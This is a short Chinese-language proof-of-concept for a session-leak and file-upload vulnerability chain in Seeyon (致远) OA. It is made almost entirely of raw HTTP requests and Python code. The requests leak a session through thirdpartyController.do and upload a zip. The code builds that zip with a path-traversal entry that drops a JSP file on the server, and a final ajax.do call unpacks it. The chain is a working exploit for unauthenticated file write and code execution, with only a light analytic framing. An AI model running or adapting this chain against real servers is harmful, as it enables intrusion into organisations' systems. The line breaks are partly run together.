致远Session泄露+文件上传poc分析

POST /seeyon/thirdpartyController.do HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 133Content-Type: application/x-www-form-urlencoded
method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

POST /seeyon/fileUpload.do?method=processUpload HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeCookie: 获取的SessionContent-Length: 528Content-Type: multipart/form-data; boundary=2a0e9dd602fea2b6f80d3a5db1d11591
--2a0e9dd602fea2b6f80d3a5db1d11591Content-Disposition: form-data; name="file"; filename="y.zip"
zip内容--2a0e9dd602fea2b6f80d3a5db1d11591--

import iodef write_zipFile(Filename,Content):
    with zipfile.ZipFile("y.zip", mode='a', compression=zipfile.ZIP_DEFLATED, ) as zf:        zf.writestr('layout.xml', "")        zf.writestr(Filename, Content)
Filename = "../7891.jsp"Content  = "<% out.println(new String("Hello"));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>"data = write_zipFile(Filename,Content)

    def custom_build_zip(path,content):        zip_buffer = io.BytesIO()        with zipfile.ZipFile(zip_buffer, mode='a',compression=zipfile.ZIP_DEFLATED) as zf:            zf.writestr('layout.xml', "")            zf.writestr("../"+path, content)        return zip_buffer.getvalue()

POST /seeyon/ajax.do HTTP/1.1Host: 获取的SessionUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: closeCookie: 获取的SessionContent-Type: application/x-www-form-urlencodedContent-Length: 157
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22日期%22%2C%22获取的ID%22%5D